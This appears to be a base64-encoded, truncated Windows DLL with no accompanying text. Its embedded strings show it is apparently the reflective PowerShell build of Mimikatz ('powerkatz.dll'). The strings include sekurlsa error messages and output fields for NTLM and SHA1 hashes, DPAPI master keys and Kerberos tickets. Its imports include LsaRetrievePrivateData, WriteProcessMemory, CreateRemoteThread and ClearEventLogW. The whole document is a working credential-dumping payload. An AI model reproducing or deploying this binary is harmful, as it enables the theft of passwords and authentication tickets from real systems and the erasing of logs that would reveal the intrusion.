ADsAIABDAHIAZQBhAHQAZQBQAHIAbwBjAGUAcwBzAFcAaQB0AGgATABvAGcAbwBuAFcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAE0AaQBzAHMAaQBuAGcAIABhAHQAIABsAGUAYQBzAHQAIABvAG4AZQAgAGEAcgBnAHUAbQBlAG4AdAAgADoAIABuAHQAbABtAC8AcgBjADQAIABPAFIAIABhAGUAcwAxADIAOAAgAE8AUgAgAGEAZQBzADIANQA2AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABNAGkAcwBzAGkAbgBnACAAYQByAGcAdQBtAGUAbgB0ACAAOgAgAGQAbwBtAGEAaQBuAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAATQBpAHMAcwBpAG4AZwAgAGEAcgBnAHUAbQBlAG4AdAAgADoAIAB1AHMAZQByAAoAAAAAAAAAAAAKAAkAIAAqACAAVQBzAGUAcgBuAGEAbQBlACAAOgAgACUAdwBaAAoACQAgACoAIABEAG8AbQBhAGkAbgAgACAAIAA6ACAAJQB3AFoAAAAAAAoACQAgACoAIABMAE0AIAAgACAAIAAgACAAIAA6ACAAAAAAAAoACQAgACoAIABOAFQATABNACAAIAAgACAAIAA6ACAAAAAAAAoACQAgACoAIABTAEgAQQAxACAAIAAgACAAIAA6ACAAAAAAAAAAAAAKAAkAIAAqACAARgBsAGEAZwBzACAAIAAgACAAOgAgAEkAJQAwADIAeAAvAE4AJQAwADIAeAAvAEwAJQAwADIAeAAvAFMAJQAwADIAeAAAAAoACQAgACoAIABSAGEAdwAgAGQAYQB0AGEAIAA6ACAAAAAAAAoACQAgACoAIABTAG0AYQByAHQAYwBhAHIAZAAAAAAACgAJACAAIAAgACAAIABQAEkATgAgAGMAbwBkAGUAIAA6ACAAJQB3AFoAAAAKAAkAIAAgACAAIAAgAEMAYQByAGQAIAAgACAAIAAgADoAIAAlAHMACgAJACAAIAAgACAAIABSAGUAYQBkAGUAcgAgACAAIAA6ACAAJQBzAAoACQAgACAAIAAgACAAQwBvAG4AdABhAGkAbgBlAHIAOgAgACUAcwAKAAkAIAAgACAAIAAgAFAAcgBvAHYAaQBkAGUAcgAgADoAIAAlAHMAAAAAAAkAIAAgACAAJQBzACAAAAA8AG4AbwAgAHMAaQB6AGUALAAgAGIAdQBmAGYAZQByACAAaQBzACAAaQBuAGMAbwByAHIAZQBjAHQAPgAAAAAAJQB3AFoACQAlAHcAWgAJAAAAAAAKAAkAIAAqACAAVQBzAGUAcgBuAGEAbQBlACAAOgAgACUAdwBaAAoACQAgACoAIABEAG8AbQBhAGkAbgAgACAAIAA6ACAAJQB3AFoACgAJACAAKgAgAFAAYQBzAHMAdwBvAHIAZAAgADoAIAAAAAAATABVAEkARAAgAEsATwAKAAAAAAAKAAkAIAAqACAAUgBvAG8AdABLAGUAeQAgACAAOgAgAAAAAAAKAAkAIAAqACAARABQAEEAUABJACAAIAAgACAAOgAgAAAAAAAKAAkAIAAqACAAJQAwADgAeAAgADoAIAAAAAAACgAJACAAIAAgACoAIABMAFMAQQAgAEkAcwBvAGwAYQB0AGUAZAAgAEQAYQB0AGEAOgAgACUALgAqAFMAAAAAAAoACQAgACAAIAAgACAAVQBuAGsALQBLAGUAeQAgACAAOgAgAAAAAAAKAAkAIAAgACAAIAAgAEUAbgBjAHIAeQBwAHQAZQBkADoAIAAAAAAACgAJAAkAIAAgACAAUwBTADoAJQB1ACwAIABUAFMAOgAlAHUALAAgAEQAUwA6ACUAdQAAAAAAAAAKAAkACQAgACAAIAAwADoAMAB4ACUAeAAsACAAMQA6ADAAeAAlAHgALAAgADIAOgAwAHgAJQB4ACwAIAAzADoAMAB4ACUAeAAsACAANAA6ADAAeAAlAHgALAAgAEUAOgAAAAAALAAgADUAOgAwAHgAJQB4AAAAAAAKAAkAIABbACUAMAA4AHgAXQAAAGQAcABhAHAAaQBzAHIAdgAuAGQAbABsAAAAAAAJACAAWwAlADAAOAB4AF0ACgAJACAAKgAgAEcAVQBJAEQAIAAgACAAIAAgACAAOgAJAAAACgAJACAAKgAgAFQAaQBtAGUAIAAgACAAIAAgACAAOgAJAAAACgAJACAAKgAgAE0AYQBzAHQAZQByAEsAZQB5ACAAOgAJAAAACgAJACAAKgAgAHMAaABhADEAKABrAGUAeQApACAAOgAJAAAACgAJAEsATwAAAAAAawBlAHIAYgBlAHIAbwBzAC4AZABsAGwAAAAAAFQAaQBjAGsAZQB0ACAARwByAGEAbgB0AGkAbgBnACAAUwBlAHIAdgBpAGMAZQAAAEMAbABpAGUAbgB0ACAAVABpAGMAawBlAHQAIAA/AAAAVABpAGMAawBlAHQAIABHAHIAYQBuAHQAaQBuAGcAIABUAGkAYwBrAGUAdAAAAAAACgAJAEcAcgBvAHUAcAAgACUAdQAgAC0AIAAlAHMAAAAKAAkAIAAqACAASwBlAHkAIABMAGkAcwB0ACAAOgAKAAAAAABkAGEAdABhACAAYwBvAHAAeQAgAEAAIAAlAHAAAAAAAAoAIAAgACAAXABfACAAJQBzACAAAAAAAC0APgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AZQBuAHUAbQBfAGsAZQByAGIAZQByAG8AcwBfAGMAYQBsAGwAYgBhAGMAawBfAHAAdABoACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAKACAAIAAgAFwAXwAgACoAUABhAHMAcwB3AG8AcgBkACAAcgBlAHAAbABhAGMAZQAgAC0APgAgAAAAAABuAHUAbABsAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGsAZQByAGIAZQByAG8AcwBfAGUAbgB1AG0AXwB0AGkAYwBrAGUAdABzACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHcAcgBpAHQAZQBEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAACgAJACAAIAAgAEwAUwBBACAAUwBlAHMAcwBpAG8AbgAgAEsAZQB5ACAAIAAgADoAIAAwAHgAJQAwADgAeAAgAC0AIAAlAHMAAAAAAAAAAABbACUAeAA7ACUAeABdAC0AJQAxAHUALQAlAHUALQAl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AP7///8AAAAA1P///wAAAAD+////aeABEIjgARAAAAAA/v///wAAAADY////AAAAAP7///9S4wEQZeMBEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAD5+gEQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAAwtAhAAAAAA/v///wAAAADE////AAAAAP7///8AAAAAtSwCEAAAAAAAAAAAiCwCEP7///8AAAAA0P///wAAAAD+////AAAAAAMuAhAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAA2i8CEAAAAADk////AAAAANT///8AAAAA/v///wAAAADMvwIQAAAAALS/AhDEvwIQ/v///wAAAADU////AAAAAP7///8AAAAAVMMCEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAClwwIQAAAAAOT///8AAAAA1P///wAAAAD+////rsgCELLIAhAAAAAA/v///wAAAADY////AAAAAP7///8AAAAAwNUCEAAAAAD+////AAAAANj///8AAAAA/v///wAAAADM1AIQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAC3VAhAAAAAA/v///wAAAADY////AAAAAP7///8AAAAAeNUCEAAAAAD+////AAAAANj///8AAAAA/v///wAAAAC85gIQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAHvoAhAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAAru4CEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAAe8AIQAAAAAP7///8AAAAAzP///wAAAAD+////AAAAABD3AhAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAvvkCEAAAAAD+////AAAAANT///8AAAAA/v///wAAAABj+wIQAAAAAP7///8AAAAAxP///wAAAAD+////AAAAAJT/AhAAAAAA/v///wAAAADM////AAAAAP7///8AAAAAqP0CEAAAAAD+////AAAAANT///8AAAAA/v///wAAAABKCwMQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAPsFAxAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAChADEAAAAADk////AAAAALT///8AAAAA/v//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AMQAQ3J5cHRHZXRIYXNoUGFyYW0AygBDcnlwdEltcG9ydEtleQAAzQBDcnlwdFNldEtleVBhcmFtAAC2AENyeXB0RGVzdHJveUhhc2gAAMwAQ3J5cHRTZXRIYXNoUGFyYW0AyABDcnlwdEhhc2hEYXRhALMAQ3J5cHRDcmVhdGVIYXNoAL8AQ3J5cHRFeHBvcnRLZXkAALQAQ3J5cHREZWNyeXB0AADUAlN5c3RlbUZ1bmN0aW9uMDA3ALkAQ3J5cHREdXBsaWNhdGVLZXkAugBDcnlwdEVuY3J5cHQAALEAQ3J5cHRBY3F1aXJlQ29udGV4dFcAAMUAQ3J5cHRHZXRLZXlQYXJhbQAAsABDcnlwdEFjcXVpcmVDb250ZXh0QQAAtwBDcnlwdERlc3Ryb3lLZXkANgFHZXRMZW5ndGhTaWQAAHYAQ29weVNpZACdAUxzYUNsb3NlAAC9AUxzYU9wZW5Qb2xpY3kAxQFMc2FRdWVyeUluZm9ybWF0aW9uUG9saWN5AIMAQ3JlYXRlV2VsbEtub3duU2lkAAB8AENyZWF0ZVByb2Nlc3NBc1VzZXJXAAB9AENyZWF0ZVByb2Nlc3NXaXRoTG9nb25XAG4CUmVnUXVlcnlWYWx1ZUV4VwAAUgJSZWdFbnVtVmFsdWVXAGECUmVnT3BlbktleUV4VwB+AlJlZ1NldFZhbHVlRXhXAABPAlJlZ0VudW1LZXlFeFcAaAJSZWdRdWVyeUluZm9LZXlXAAAwAlJlZ0Nsb3NlS2V5AO0CU3lzdGVtRnVuY3Rpb24wMzIAKQJRdWVyeVNlcnZpY2VTdGF0dXNFeAAA+wFPcGVuU2VydmljZVcAAMkCU3RhcnRTZXJ2aWNlVwBcAENvbnRyb2xTZXJ2aWNlAADaAERlbGV0ZVNlcnZpY2UA+QFPcGVuU0NNYW5hZ2VyVwAAVwBDbG9zZVNlcnZpY2VIYW5kbGUAAGwAQ29udmVydFNpZFRvU3RyaW5nU2lkVwAAwQBDcnlwdEdlblJhbmRvbQAAgAFJc1RleHRVbmljb2RlAFoBR2V0VG9rZW5JbmZvcm1hdGlvbgCRAUxvb2t1cEFjY291bnRTaWRXAPcBT3BlblByb2Nlc3NUb2tlbgAAdABDb252ZXJ0U3RyaW5nU2lkVG9TaWRXAADTAlN5c3RlbUZ1bmN0aW9uMDA2AL4AQ3J5cHRFbnVtUHJvdmlkZXJzVwDHAENyeXB0R2V0VXNlcktleQD2AU9wZW5FdmVudExvZ1cAUwBDbGVhckV2ZW50TG9nVwAAQwFHZXROdW1iZXJPZkV2ZW50TG9nUmVjb3JkcwAAJwJRdWVyeVNlcnZpY2VPYmplY3RTZWN1cml0eQAAQwBCdWlsZFNlY3VyaXR5RGVzY3JpcHRvclcAACABRnJlZVNpZAC/AlNldFNlcnZpY2VPYmplY3RTZWN1cml0eQAAIABBbGxvY2F0ZUFuZEluaXRpYWxpemVTaWQAAIEAQ3JlYXRlU2VydmljZVcAAOYCU3lzdGVtRnVuY3Rpb24wMjUAzAFMc2FSZXRyaWV2ZVByaXZhdGVEYXRhAADJAUxzYVF1ZXJ5VHJ1c3RlZERvbWFpbkluZm9CeU5hbWUA0gJTeXN0ZW1GdW5jdGlvbjAwNQBXAUdldFNpZFN1YkF1dGhvcml0eQAAWAFHZXRTaWRTdWJBdXRob3JpdHlDb3VudACqAUxzYUVudW1lcmF0ZVRydXN0ZWREb21haW5zRXgAAKsBTHNhRnJlZU1lbW9yeQD8AU9wZW5UaHJlYWRUb2tlbgDfAER1cGxpY2F0ZVRva2VuRXgAAFEAQ2hlY2tUb2tlbk1lbWJlcnNoaXAAAMECU2V0VGhyZWFkVG9rZW4AAIwAQ3JlZEZyZWUAAIkAQ3JlZEVudW1lcmF0ZVcAAEFEVkFQSTMyLmRsbAAA2wBDcnlwdFVucHJvdGVjdERhdGEAAH0AQ3J5cHRCaW5hcnlUb1N0cmluZ1cAAL0AQ3J5cHRQcm90ZWN0RGF0YQAAegBDcnlwdEFjcXVpcmVDZXJ0aWZpY2F0ZVByaXZhdGVLZXkACABDZXJ0QWRkRW5jb2RlZENlcnRpZmljYXRlVG9TdG9yZQAAQABDZXJ0RnJlZUNlcnRpZmljYXRlQ29udGV4dAAALwBDZXJ0RW51bVN5c3RlbVN0b3JlAAQAQ2VydEFkZENlcnRpZmljYXRlQ29udGV4dFRvU3RvcmUAACwAQ2VydEVudW1DZXJ0aWZpY2F0ZXNJblN0b3JlABIAQ2VydENsb3NlU3RvcmUAABYBUEZYRXhwb3J0Q2VydFN0b3JlRXgAAGoAQ2VydFNldENlcnRpZmljYXRlQ29udGV4dFByb3BlcnR5AEsAQ2VydEdldE5hbWVTdHJpbmdXAABXAENlcnRPcGVuU3RvcmUARgBDZXJ0R2V0Q2VydGlmaWNhdGVDb250ZXh0UHJvcGVydHkAQ1JZUFQzMi5kbGwADABNRDVJbml0AA0ATUQ1VXBkYXRlAAsATUQ1RmluYWwAAAUAQ0RMb2NhdGVDU3lzdGVtAAQAQ0RHZW5lcmF0ZVJhbmRvbUJpdHMAAAYAQ0RMb2NhdGVDaGVja1N1bQAAY3J5cHRkbGwuZGxsAAAQAERzR2V0RGNOYW1lVwAAZQBOZXRBcGlCdWZmZXJGcmVlAABORVRBUEkzMi5kbGwAAHEBUnBjQmluZGluZ1NldE9wdGlvbgBfAVJwY0JpbmRpbmdGcm9tU3RyaW5nQmluZGluZ1cAAO4BUnBjU3RyaW5nQmluZGluZ0NvbXBvc2VXAABuAVJwY0JpbmRpbmdTZXRBdXRoSW5mb0V4VwAA8gFScGNTdHJpbmdGcmVlVwAAXQFScGNCaW5kaW5nRnJlZQAAIABJX1JwY0JpbmRpbmdJbnFTZWN1cml0eUNvbnRleHQAAJUATmRyQ2xpZW50Q2FsbDIAAFJQQ1JUNC5kbGwAADoAUGF0aENvbWJpbmVXAAA4AFBhdGhDYW5vbmljYWxpemVXAGUAUGF0aElzUmVsYXRpdmVXAFNITFdBUEkuZGxsABMAU2FtRW51bWVyYXRlVXNlcnNJbkRvbWFpbgAdAFNhbUxvb2t1cE5hbWVzSW5Eb21haW4AAB8AU2FtT3BlbkRvbWFpbgAhAFNhbU9wZW5Vc2VyABwAU2FtTG9va3VwSWRzSW5Eb21haW4AAAcAU2FtQ29ubmVjdAAABgBTYW1DbG9zZUhhbmRsZQAAFABTYW1GcmVlTWVtb3J5ACYAU2FtUXVlcnlJbmZvcm1hdGlvblVzZXIAEQBTYW1FbnVtZXJhdGVEb21haW5zSW5TYW1TZXJ2ZXIAACwAU2FtUmlkVG9TaWQAFQBTYW1HZXRBbGlhc01lbWJlcnNoaXAAGwBTYW1Mb29rdXBEb21haW5JblNhbVNlcnZlcgAAGABTYW1HZXRHcm91cHNGb3JVc2VyAFNBTUxJQi5kbGwAABgARnJlZUNvbnRleHRCdWZmZXIANABRdWVyeUNvbnRleHRBdHRyaWJ1dGVzVwAnAExzYUNvbm5lY3RVbnRydXN0ZWQAKABMc2FEZXJlZ2lzdGVyTG9nb25Qcm9jZXNzACYATHNhQ2FsbEF1dGhlbnRpY2F0aW9uUGFja2FnZQAALQBMc2FMb29rdXBBdXRoZW50aWNhdGlvblBhY2thZ2UAACoATHNhRnJlZVJldHVybkJ1ZmZlcgBTZWN1cjMyLmRsbAAGAENvbW1hbmRMaW5lVG9Bcmd2VwAAU0hFTEwzMi5kbGwAwwFJc0NoYXJBbHBoYU51bWVyaWNXAD4BR2V0S2V5Ym9hcmRMYXlvdXQAVVNFUjMyLmRsbAAABQBIaWREX0dldEhpZEd1aWQAAQBIaWREX0ZyZWVQcmVwYXJzZWREYXRhAAAMAEhpZERfR2V0UHJlcGFyc2VkRGF0YQAVAEhpZFBfR2V0Q2FwcwAAAgBIaWREX0dldEF0dHJpYnV0ZXMAAEhJRC5ETEwAPwFTZXR1cERpRGVzdHJveURldmljZUluZm9MaXN0AABDAVNldHVwRGlFbnVtRGV2aWNlSW50ZXJmYWNlcwBWAVNldHVwRGlHZXRDbGFzc0RldnNXAABuAVNldHVwRGlHZXREZXZpY2VJbnRlcmZhY2VEZXRhaWxXAABTRVRVUEFQSS5kbGwAAA0AUnRsRnJlZUFuc2lTdHJpbmcAFwBSdGxVbmljb2RlU3RyaW5nVG9BbnNpU3RyaW5nAAAOAFJ0bEZyZWVVbmljb2RlU3RyaW5nAAAKAFJ0bERvd25jYXNlVW5pY29kZVN0cmluZwAADABSdGxFcXVhbFVuaWNvZGVTdHJpbmcAEwBSdGxJbml0VW5pY29kZVN0cmluZwAAAQBOdFF1ZXJ5T2JqZWN0AAIATnRRdWVyeVN5c3RlbUluZm9ybWF0aW9uAAAAAE50UXVlcnlJbmZvcm1hdGlvblByb2Nlc3MAEABSdGxHZXRDdXJyZW50UGViAAAJAFJ0bENyZWF0ZVVzZXJUaHJlYWQADwBSdGxHVUlERnJvbVN0cmluZwAWAFJ0bFN0cmluZ0Zyb21HVUlEABEAUnRsR2V0TnRWZXJzaW9uTnVtYmVycwAACABSdGxBcHBlbmRVbmljb2RlU3RyaW5nVG9TdHJpbmcAABkAUnRsVXBjYXNlVW5pY29kZVN0cmluZwAABwBSdGxBbnNpU3RyaW5nVG9Vbmljb2RlU3RyaW5nAAADAE50UmVzdW1lUHJvY2VzcwAGAFJ0bEFkanVzdFByaXZpbGVnZQAABQBOdFRlcm1pbmF0ZVByb2Nlc3MAAAQATnRTdXNwZW5kUHJvY2VzcwAACwBSdGxFcXVhbFN0cmluZwAAbnRkbGwuZGxsAEQDTG9jYWxBbGxvYwAAJQFGaWxlVGltZVRvU3lzdGVtVGltZQAASANMb2NhbEZyZWUAwANSZWFkRmlsZQAAJQVXcml0ZUZpbGUAjwBDcmVhdGVGaWxlVwCyBFNsZWVwAAICR2V0TGFzdEVycm9yAADBBFRlcm1pbmF0ZVRocmVhZABSAENsb3NlSGFuZGxlALUAQ3JlYXRlVGhyZWFkAADxAUdldEZpbGVTaXplRXgAvwFHZXRDdXJyZW50RGlyZWN0b3J5VwAAVwFGbHVzaEZpbGVCdWZmZXJzAADAAUdldEN1cnJlbnRQcm9jZXNzAOgARHVwbGljYXRlSGFuZGxlAIADT3BlblByb2Nlc3MA3QBEZXZpY2VJb0NvbnRyb2wALgVXcml0ZVByb2Nlc3NNZW1vcnkAAO8EVmlydHVhbFByb3RlY3QAAOwEVmlydHVhbEZyZWUA6QRWaXJ0dWFsQWxsb2MAAGYEU2V0RmlsZVBvaW50ZXIAAPAEVmlydHVhbFByb3RlY3RFeAAA6gRWaXJ0dWFsQWxsb2NFeAAAwwNSZWFkUHJvY2Vzc01lbW9yeQDtBFZpcnR1YWxGcmVlRXgA8QRWaXJ0dWFsUXVlcnkAAPIEVmlydHVhbFF1ZXJ5RXgAANYEVW5tYXBWaWV3T2ZGaWxlAIwAQ3JlYXRlRmlsZU1hcHBpbmdXAABXA01hcFZpZXdPZkZpbGUASwNMb2NhbFJlQWxsb2MAAKgAQ3JlYXRlUHJvY2Vzc1cAAHMEU2V0TGFzdEVycm9yAAD5BFdhaXRGb3JTaW5nbGVPYmplY3QAqQBDcmVhdGVSZW1vdGVUaHJlYWQAACQBRmlsZVRpbWVUb0xvY2FsRmlsZVRpbWUAlwJHZXRUaW1lRm9ybWF0VwAAyAFHZXREYXRlRm9ybWF0VwAAOQFGaW5kRmlyc3RGaWxlVwAARQFGaW5kTmV4dEZpbGVXAC4BRmluZENsb3NlAOoBR2V0RmlsZUF0dHJpYnV0ZXNXAAB5AkdldFN5c3RlbVRpbWVBc0ZpbGVUaW1lAD8DTG9hZExpYnJhcnlXAABFAkdldFByb2NBZGRyZXNzAABiAUZyZWVMaWJyYXJ5ABgCR2V0TW9kdWxlSGFuZGxlVwAAsgFHZXRDb25zb2xlU2NyZWVuQnVmZmVySW5mbwAAZAJHZXRTdGRIYW5kbGUAACgBRmlsbENvbnNvbGVPdXRwdXRDaGFyYWN0ZXJXAE0EU2V0Q3VycmVudERpcmVjdG9yeVcAADEEU2V0Q29uc29sZUN1cnNvclBvc2l0aW9uAAAOA0lzV293NjRQcm9jZXNzAADEAUdldEN1cnJlbnRUaHJlYWQAAMEBR2V0Q3VycmVudFByb2Nlc3NJZACnA1F1ZXJ5UGVyZm9ybWFuY2VDb3VudGVyAMUBR2V0Q